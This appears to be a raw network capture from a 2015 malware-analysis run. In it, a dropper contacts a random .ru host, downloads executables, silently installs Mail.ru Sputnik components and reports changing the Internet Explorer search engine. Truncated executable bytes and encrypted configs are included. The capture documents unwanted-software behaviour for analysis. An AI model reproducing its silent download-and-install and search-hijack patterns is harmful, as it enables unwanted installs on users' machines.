GET /update/2/version.txt?type=install&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=sputnik&uacpass=1&standalone=1&uacenabled=0&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=2.25.0.171&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=6&elapsed_time=4&rfr=789119&rfr_dse=789119&rfr_hp=789119&rfr_vbm=789119&mr_service=0 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:39 GMT

Connection: close

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 864

Host: y9807akgtzcrolb.nidetafzy.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.}T.n.8...BO)j.$E..........g..EQP....D-I.6....e..b....9....\XAi.,r.bu........KZ.%.R....s.....*!.".Q` t..{.@.:.T7.P....T..s..4E.mT..o.....P...Wu.sNsL.R....9.)...>(..Gb}......`_d.E..f..c.....,....U .W.$....."q.........D.z...."1....P}.... ....t...& ./.d...$..-..uy./...dp.V. ...l&.h}....)qS......*&ZE.ce.*P.&S..f...R....;.g..^VF}...K.{U...0........=.........y.7.=|..9.$=j`|V.....5~<kc..>..)..R~ .....Pak...b.sNO.@_=:y.....}.p.wzp.W

..a.._3.%......9.r...e.^

q.kg.m.Z..rk........?...4......z.4A..5...#.s.S{.^.....

.e...{..W..C....? ......".{A..5:.....i....

=(..@.,..O....I.n?~D0.%.B....]...Rt(9..,.K*2FXdp].=..r.......8i.pL...bN.]....r..wF.-Z.y.....=.p>..Z.>.....j..?nJQ2N>...1..uPo..zP......5H...8.k9 .).IwjjG.3!2..{...j0@...j....6`..x.`{xf?

.......M..f...d.<....$-RJRR2F.%'EJ....G...dE."........Mt...H......x^Wx.l.k...u^......h*..HJU..4>...IA(.....!..P

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Sat, 19 Dec 2015 23:20:52 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

$...x..Y.s.8..W<.-....}..l..1M7iH....#.2xclF.C.N..}....X..;./B....O...6...M.......5.n..azN...g.X..Bp..J....Q.gj......a....::14[.8..C...}...(.,W...X...7S.g.4.8I(.Md......lB.x$.5..%..s>..6j......... Z$LE.........bF.W..E....X..|]..Z.'4..A|.~.)c...q6.fS.g)...$.....T.M..Pj........S.Q..*]..Z.\..5R....[9.Kq.a..'EuH.QI....4D*j. ..,......!ZS .P.W.A.z.L.jE%!3*[..T.5..gm.r.^...E.R.2%..eO...$.%.IMHY...... cF..*]!/}a..O)k..........I...RRIa...W.q%sPi>.. ..p..Z........~K..{...xr.Gj.....J..pW1..f....f....}|..4....aN.........,....H.....-...@.g...V.j.f)...1....6...x.odWL.O>.5pq.54Msm.....=.|P...E-...\..u..:.A.paU(..0~..w.. ...3..{qqg.B....:..9.F.....DJy.P?..ok...\....z.....l.zB&...o.....\|9...eI.J..r..V.....-..v@m.......^Q..[....i?f.."A....F9..T.]..>.w@.G....*...?.wzY.E..iD.8LY......&......!.Ehel....I>..a...4Kb.(.YV`. ..*.............d3..%......d!..J.s..?.t.....#.....Y.>*..#....-).4....t%o....a$x...<..'.......'.Q.p.'.gL.q`.D...%...7.h.yw..........#...G...u..B.w........7314...:...pO.`O.d.B....0...p...0|k..?.X....}.v./.....%...a...8...<%..1`..2R.T..../B.)......* .8..M.em....%..".6...].....u...wN'S.....>...pw%...w..y..s.o.IJ..96vg....e.=....8..2..cg....h....U....)..@j.s<PU...H.&.dgqL.....w|8...Dg......v..=.o...4-O..^.o5=.q=.u.....].c.i6.p...1....5..._.6._...x.l...T...?.Y...<|.... I&p@m....t..9...cj6..4.G.........Jf)....RN....:...0K[M....%..2...N{._.)..I.g.Y....c@.8..K....-Am....'.Hp ..!(....2.zz.&.r.{K.T...e9.:...@..G.2.6....W..5..Dum..<&5a..K.m......._.H.J=.cq~j.cQ^.?.T......eJ$.....cW.]i ^..

<<< skipped >>>

GET /update/2/version.txt?type=prog_install&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=sputnik&prog=mrupdater&event=done&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=2.25.0.171&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=6&elapsed_time=3&rfr=789119&rfr_dse=789119&rfr_hp=789119&rfr_vbm=789119&mr_service=0 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:39 GMT

Connection: close

GET /cache_policy.mrdj HTTP/1.1

Host: xml.binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 503 Service Temporarily Unavailable

Server: nginx

Date: Sat, 19 Dec 2015 23:21:38 GMT

Content-Type: text/html

Content-Length: 206

Connection: close

<html>..<head><title>503 Service Temporarily Unavailable</title></head>..<body bgcolor="white">..<center><h1>503 Service Temporarily Unavailable</h1></center>..<hr><center>nginx</center>..</body>..</html>....

GET /cache_policy.mrdj HTTP/1.1

Host: xml.binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 503 Service Temporarily Unavailable

Server: nginx

Date: Sat, 19 Dec 2015 23:21:39 GMT

Content-Type: text/html

Content-Length: 206

Connection: close

<html>..<head><title>503 Service Temporarily Unavailable</title></head>..<body bgcolor="white">..<center><h1>503 Service Temporarily Unavailable</h1></center>..<hr><center>nginx</center>..</body>..</html>....

GET /MailRuUpdater.exe HTTP/1.1

User-Agent: SputnikInstaller

Host: mailruupdater.cdnmail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 23:21:35 GMT

Content-Type: application/octet-stream

Content-Length: 5888728

Connection: close

Last-Modified: Fri, 27 Nov 2015 16:27:50 GMT

ETag: "56588486-59dad8"

Accept-Ranges: bytes

MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$......... ...E...E...E.......E.(O....E..q....E.......E.......E.......E.......E.......E...E...E.....\.E.......E...D.D.E.(O..i.E.(O....E.......E.......E.(O....E.Rich..E.........................PE..L.....WV..................D..X......=.0.......E...@...........................Z.....G.Y...@.........................P.R.....h.S.h.....V.hi............Y...... W.L]...,E.8...................8.L.......L.@.............E.@............................text.....D.......D................. ..`.rdata........E.......D.............@..@.data.........S..N....S.............@....tls..........V.......U.............@....rsrc...hi....V..j....U.............@..@.reloc..L]... W..^...bV.............@..B.................................................................................................................................................................................................................................`.....C0.V.t$p..u.......D$.P..........u.^..`..L$l.T$hQR.D$.P......L$.QV.c....T$.j`R..........^..`..............V.t$.jpj.V.q>0...........F...|6.F...p0.F.9Y...F.1....F...Xh.F....d.F..O...Fl.........^..........V.t$.jpj.V..>0......g..j.F...g..F.r.n<.F.:.O..F..R.Q.F..h...F......F....[.Fl ........^...........T$.UW.|$...........V.t$..F ...;.s..F$......F$.FhS.N ..tj.n(..@s"..8..@s.WR..U.]*0.....~h[^_.....]..@... .SR..(R.;*0.j.UV.R....D$0j@...j.U.L$< ..Fh.....$=0..l$<..$.......v.SUV............. ...t

<<< skipped >>>

GET /cache_policy.mrdj HTTP/1.1

Host: xml.binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 503 Service Temporarily Unavailable

Server: nginx

Date: Sat, 19 Dec 2015 23:21:41 GMT

Content-Type: text/html

Content-Length: 206

Connection: close

<html>..<head><title>503 Service Temporarily Unavailable</title></head>..<body bgcolor="white">..<center><h1>503 Service Temporarily Unavailable</h1></center>..<hr><center>nginx</center>..</body>..</html>....

GET /installs/1407/be5784b4.exe HTTP/1.1

Host: y9807akgtzcrolb.nidetafzy.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Sat, 19 Dec 2015 23:21:52 GMT

Content-Type: application/octet-stream

Content-Length: 5653424

Connection: keep-alive

Last-Modified: Fri, 11 Dec 2015 21:11:49 GMT

ETag: "566b3c15-5643b0"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g$.e#E.6#E.6#E.6..j65E.6..U6\E.6..T6.E.6e.T6%E.6*=66'E.6*=&66E.6#E.6.E.6..T6&E.6..n6"E.6#E"6"E.6..k6"E.6Rich#E.6........PE..L.....kV..........................................@...................................V...@.................................do..........0.............V.........T...................................8Z..@............................................text...i........................... ..`.rdata..@...........................@..@.data....A...........p..............@....rsrc...0...........................@..@.reloc..T........ ...N..............@..B........................................................................................................................................................................................................................................................................................................................................U.....B..C...h..A..E......].....U.....B..C...h..A..%......].....U.....B..C...h..A.........].....U..j....B......]................U..j....B..q...]................U..j....B..Q...]................U..j....B..1...]................U..Q3..E...]....U..j.h..A.d.....P.@.B.3.P.E.d.....h..A..h.B.......E.....h..A....B.......E..h..A....B.......E..h..A....B.......E..hP.A....B.......E.....h..A..........M.d......Y..]..............U..h..A..<.B..^...h..A.........]................U..h`.A..\.B......h..A..p......].............

<<< skipped >>>

GET /update/2/version.txt?type=installed_product&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=sputnik&kind=ie_setdse&product_id={13A9645E-708E-4E90-B014-5C10E6822E4D}&version=&state=1&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=2.25.0.171&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=8&elapsed_time=7&rfr=789119&rfr_dse=789119&rfr_hp=789119&rfr_vbm=789119&mr_service=0 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:43 GMT

Connection: close

GET /update/2/version.txt?type=dse&guid={EB34BD17-5115-4756-BA31-330B3560E00C}&sig=1227785828&br=ie&ovr=0&ovr_extid=&ext_act=&tool=sputnik&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=2.25.0.171&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=7&elapsed_time=7&rfr=789119&rfr_dse=789119&rfr_hp=789119&rfr_vbm=789119&mr_service=0 HTTP/1.1

User-Agent: sputnik_statistics

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:42 GMT

Connection: close

GET /chrome/version2.xml?masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=1.23.0.220&tool=mrupdater&guid={EB34BD17-5115-4756-BA31-330B3560E00C}&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=6&elapsed_time=0&mr_service=0 HTTP/1.1

User-Agent: MailRuUpdater

Host: binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 503 Service Temporarily Unavailable

Server: nginx

Date: Sat, 19 Dec 2015 23:21:38 GMT

Content-Type: text/html

Content-Length: 206

Connection: close

<html>..<head><title>503 Service Temporarily Unavailable</title></head>..<body bgcolor="white">..<center><h1>503 Service Temporarily Unavailable</h1></center>..<hr><center>nginx</center>..</body>..</html>....

GET /updater/version.xml?masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=1.23.0.220&tool=mrupdater&guid={EB34BD17-5115-4756-BA31-330B3560E00C}&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=5&elapsed_time=0&mr_service=0 HTTP/1.1

User-Agent: MailRuUpdater

Host: binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 23:21:38 GMT

Content-Type: text/xml; charset=utf-8

Connection: close

Content-Length: 281

<?xml version="1.0" encoding="utf-8" ?>.<xml>.<product_name>MailRuUpdater</product_name>.<version>1.23.0.220</version>.<fetch_url>hXXp://mailruupdater.cdnmail.ru/MailRuUpdater.exe</fetch_url>.<md5>9ba3c2b556387aa824f31ac2e1ab7f73</md5>.<cmd_line>--install-service</cmd_line>.</xml>..

GET /update/2/version.txt?type=mru_install&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=mrupdater&ovr=0&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=1.23.0.220&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=4&elapsed_time=0&mr_service=0 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:38 GMT

Connection: close

GET /update/2/version.txt?type=mru_online_service&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=mrupdater&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=1.23.0.220&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=4&elapsed_time=0&mr_service=1 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:38 GMT

Connection: close

GET /update/2/version.txt?type=spinfo&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=sputnik&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=2.25.0.171&mailru_guard=0&mailru_updater=0&comp_mem=511&tool_mem=5&elapsed_time=0&rfr=789119&rfr_dse=789119&rfr_hp=789119&rfr_vbm=789119&mr_service=0 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:35 GMT

Connection: close

GET /update/2/version.txt?type=install&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=sputnik&bgn=1&standalone=1&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=2.25.0.171&mailru_guard=0&mailru_updater=0&comp_mem=511&tool_mem=5&elapsed_time=0&rfr=789119&rfr_dse=789119&rfr_hp=789119&rfr_vbm=789119&mr_service=0 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:35 GMT

Connection: close

GET /tasks/shortcuts.mrdj?masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=1.23.0.220&tool=mrupdater&guid={EB34BD17-5115-4756-BA31-330B3560E00C}&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=6&elapsed_time=1&mr_service=1 HTTP/1.1

User-Agent: RemoteConfigFetcher

Host: xml.binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 23:21:39 GMT

Content-Type: application/x-mrd

Connection: close

Content-Transfer-Encoding: 8bit

Content-Length: 10105

d.=<;:;K.yg`pge@`bdor(3(|.%$#"! ...n^YV_Y_A]\\...U'..............0<>7?=zmv!&&7}Zonmlkjihgfeda.$!.1...XCX...._xQPONMLKJIHGFG)..%................................................................................................................................v{?0.:9876543210/.-, (Kaigw}OmbaKWRRH...l<.......................,2;);4.>:0'v}.>; ?".>i.?6) 1'3o........Y...QxQPONMLKJIHGFEDCB<L...............................................................................................................................l<'<@.9876543210/.-, *)('&'MmvdrQ[I.~BITXDPF.[TH_BB^Nvu.B^@..(...~}|{zyxwvutsr.|Enmlkjihgfedcba`_\4...5.......!.......KRG=oDCBA@.....................................j....d1...a/....z.....t........n....S....d...........................................5Q...1w~s?85.76543210/.-, *)('&%$!^].cb..gf.dk..]hW..ruU..wrX..xHxM...,.9.....x7.2...;..b./....=....%.. XYVsXWVUTSRQPONMLKJIHGFEF...................@:...Z....W.....P.....j.......b....|)...x................................................'C...#t...<l....7X....1.CA@5A|..KNl..LKj..Q/(%.'&%$#"! .............BC_H\LR..@FSCWJ]..I.;....!....$...<.!...8.-.....l.%.. '...%,....VS\eNMLKJIHGFEDCBA@......................Y=...U....n>....i.....c.......{....w ...q.............................................."D...<i...9g....2_BlFy..DDK8wOr..M{RQ"Po..Z]}.._Ze..`...3......................KzE....#....&...>.?...>./.....j!. ..#. 'T"...(/...-4...6NKbGFEDCBA@.....................................................................................

<<< skipped >>>

GET /checksums.mrdj HTTP/1.1

User-Agent: RemoteConfigFetcher

Host: xml.binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 23:21:48 GMT

Content-Type: application/x-mrd

Connection: close

Content-Transfer-Encoding: 8bit

Content-Length: 8734

d.=<9Jkwscv``0 0t.-, * koY}pmfre...G1.......f@]....D_^Y...]PMO@I3,(r8>756?9z!'~7 ..$3>'.&"..rQI.^WpYXWVUTQ>........KRG=oDCBA@.............................................................................................................................../&x.~ ;4.6543210/.-, (jmf37a6ae4...^Y....WV.P...NO..O...-........~}|{x`o`og1fkdcyw|xs.qp!r&s pvxM...K.[T}VUTSRQPONMLKH.[_.UWWW.................................................................................................................................w{~whotk5,5O.210/.-, *)('$031:9b......Z...QW...T....M..L....)....~}|{zyxwtf5je76z/ ~)sz.s. pt$x#.L.DB...ODW~SRQPONMLKJ4bGFEDCBA@...............................................................................................................................,(.y--*!!&p'r*3<..-, *)('&%$# e1.[[].Y.\.UP..P.QIJ.........A....U~}|{zyxwvutspff .tx *p"q}tq{"y.LJ.HJL.BF@..DS\eNMLKJIHGFEDC@P.................................................................................................................................>=<;:98765I.210/.-, w%.'&%$#"! D4...........~^SNZDCE....GMEOAOC4894142588967506' =/!'%&"diNcba`_^]\[Z[;........MTM7aJIHGFEDCBA@...............................................................................................................................?>=<;:98767W{wr{|{`.)0)S.&%$#"! ..........S....UM..H..JJ..F.....;fho9c{t]vutsrqponmlkh~qwt w'zrxG.J.CBOA.C.G..D.__]T..KDmFEDCBA@..........................................................................................................

<<< skipped >>>

GET /sputnik/spmrids.mrdj?masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&tool=sputnik&ver=2.25.0.171 HTTP/1.1

User-Agent: RemoteConfigFetcher

Host: xml.binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 23:21:41 GMT

Content-Type: application/x-mrd

Connection: close

Content-Transfer-Encoding: 8bit

Content-Length: 2596

d..>_i|:-6n...3Qlzxmg(3(%clkgfgaZNYS^S_Z_\E\UWWWF^NFHN@MH...* .o),.$2.= .?& qhq.EGDEi&(&&$'4"*1*.....................HEbnolF...................................................................................................................................vpuzt}zqvwsdctv`ed/ ....%l``fnjh^PXZVYWHVFER[SRXM^C@CEDIN...* (.<;:84717470;6634?(" &-##-',.%-,/]Rwurs[...........................................................................................................................................................>uxp~s}xp|xv}.cb|ookfmejffifdPP^R.001j.?=:.dCJ~LXHB@F@...WPTEsTTUy. 4uluv;&% uab4?$$).*71m!%.....U..W..*.....0......7VHR.Ahh................................................................................................................................yyr~pw{tu.e.wwswa`aogiadfmji!...67.LW^[QRXZPXBV[LMBONF@LNHHGJGEJ;16~wPPQ^t;877:9*!)! ),!*$/*" ./..........WXy{xyM..............................................................................................................................................t{sqrsv:;....0|vbd}jdmnaliioekmoY\M[XTQ\TQT\ZP..%'$%.ONN@DJGOOFB0579>4)60>;1<3>7*(#&%heBNOLf,$%'............................ANki.................................................................................................................................?Jyw;"7m...0Ps{{l`)0)*n`its`knOPXUR]ZZSP_D]YTRFJ@GAGFA../-*.nV-.%5.>*.>%!vir.ZFGDn,$-)$/&! !&!....................IFcanoG...............................................................................................................

<<< skipped >>>

GET /tasks/shortcuts.mrdj?masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=1.23.0.220&tool=mrupdater&guid={EB34BD17-5115-4756-BA31-330B3560E00C}&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=8&elapsed_time=6&mr_service=1 HTTP/1.1

User-Agent: RemoteConfigFetcher

Host: xml.binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 23:21:44 GMT

Content-Type: application/x-mrd

Connection: close

Content-Transfer-Encoding: 8bit

Content-Length: 10105

d.=<;:;K.yg`pge@`bdor(3(|.%$#"! ...n^YV_Y_A]\\...U'..............0<>7?=zmv!&&7}Zonmlkjihgfeda.$!.1...XCX...._xQPONMLKJIHGFG)..%................................................................................................................................v{?0.:9876543210/.-, (Kaigw}OmbaKWRRH...l<.......................,2;);4.>:0'v}.>; ?".>i.?6) 1'3o........Y...QxQPONMLKJIHGFEDCB<L...............................................................................................................................l<'<@.9876543210/.-, *)('&'MmvdrQ[I.~BITXDPF.[TH_BB^Nvu.B^@..(...~}|{zyxwvutsr.|Enmlkjihgfedcba`_\4...5.......!.......KRG=oDCBA@.....................................j....d1...a/....z.....t........n....S....d...........................................5Q...1w~s?85.76543210/.-, *)('&%$!^].cb..gf.dk..]hW..ruU..wrX..xHxM...,.9.....x7.2...;..b./....=....%.. XYVsXWVUTSRQPONMLKJIHGFEF...................@:...Z....W.....P.....j.......b....|)...x................................................'C...#t...<l....7X....1.CA@5A|..KNl..LKj..Q/(%.'&%$#"! .............BC_H\LR..@FSCWJ]..I.;....!....$...<.!...8.-.....l.%.. '...%,....VS\eNMLKJIHGFEDCBA@......................Y=...U....n>....i.....c.......{....w ...q.............................................."D...<i...9g....2_BlFy..DDK8wOr..M{RQ"Po..Z]}.._Ze..`...3......................KzE....#....&...>.?...>./.....j!. ..#. 'T"...(/...-4...6NKbGFEDCBA@.....................................................................................

<<< skipped >>>

GET /tasks/sg_settings.mrdj?masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=1.23.0.220&tool=mrupdater&guid={EB34BD17-5115-4756-BA31-330B3560E00C}&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=8&elapsed_time=10&mr_service=1 HTTP/1.1

User-Agent: RemoteConfigFetcher

Host: xml.binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 23:21:48 GMT

Content-Type: application/x-mrd

Connection: close

Content-Transfer-Encoding: 8bit

Content-Length: 40819

d.=<;:;[.dzyv0 0t.-, *)('&'Wd@ma\UqUHN...m?.............EGGEAW.I182~wPyxwvutsrqpono?</,<j6$#&l"/.\Qv[ZYXWVUTSRQPM......F...J...B...............................................................................................................................~kqh6i|yeu}:}we2#.-, *)('&%$#"#y^SYYC.W]C..>.............B@HWC.H038/u965uz_tsrqponmlkjij='7%!-5!..P.....Y...Q^{PONMLKJIHGFEF..O................................................................................................................................?<usot|ode;ff0=./.-, *)('&%$!ldtXWY.U_M..<.............[SGWP.VHC11s?47{t]vutsrqponmlkh=!$(*j -,bSt]\[ZYXWVUTSRS....B.......J..CL...............................................................................................................................lj|noi|yeu}:p}|2#.-, *)('&%$#"#gP.JYY[ULV.GA..;.............PV@R p*99;5,6x'!q~[ponmlkjihgfef4'#!...R..[T}VUTSRQPONMLKH[...K...CL...............................................................................................................................?>=<;:9874cqaf~}!|x.'.)('&%$#"! ...[ZW\....FF..:..............JA1?1r4(>z{\utsrqponmlkjk;3'70,4*!Q..^WpYXWVUTSRQPONO..[\F...FOhA@...............................................................................................................................?>=<;8oyd~8p|z~t!`hx)&.('&%$#"! ....WOZSNEPUAQYU\.NCF..".........~}|y-0639"'>32~=;o`Ajihgfedcba`_\.............^..O@aJIHGFEDCBA@.................................................................................................

<<< skipped >>>

GET /update/2/version.txt?type=installed_product&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=sputnik&kind=ie_xtndse&product_id={FCAC0289-9E83-404D-835A-456858C7F63B}&version=1.0.0.13&state=1&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=2.25.0.171&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=8&elapsed_time=7&rfr=789119&rfr_dse=789119&rfr_hp=789119&rfr_vbm=789119&mr_service=0 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:42 GMT

Connection: close

GET /update/2/version.txt?type=spparams&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=sputnik&component_hp=disabled&component_dse=enabled&component_vbm=not_applicable&raw=--silent --rfr=789119 --reg-log --novbm --nohomepage "--partner_dse=http://itwy.throgency.ru/mailru/callback?type=mailru_search&zone=ua&guid=$__GUID&ovr=$__OVR&aux=200075929"&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=2.25.0.171&mailru_guard=0&mailru_updater=0&comp_mem=511&tool_mem=5&elapsed_time=0&rfr=789119&rfr_dse=789119&rfr_hp=789119&rfr_vbm=789119&mr_service=0 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:35 GMT

Connection: close

GET /update/2/version.txt?type=install&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=sputnik&success=1&br=ie&brver=6.00&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=2.25.0.171&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=7&elapsed_time=7&rfr=789119&rfr_dse=789119&rfr_hp=789119&rfr_vbm=789119&mr_service=0 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:42 GMT

Connection: close

GET /mailruhomesearchvbm.exe?rfr=789119 HTTP/1.1

Host: sputnikmailru.cdnmail.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx

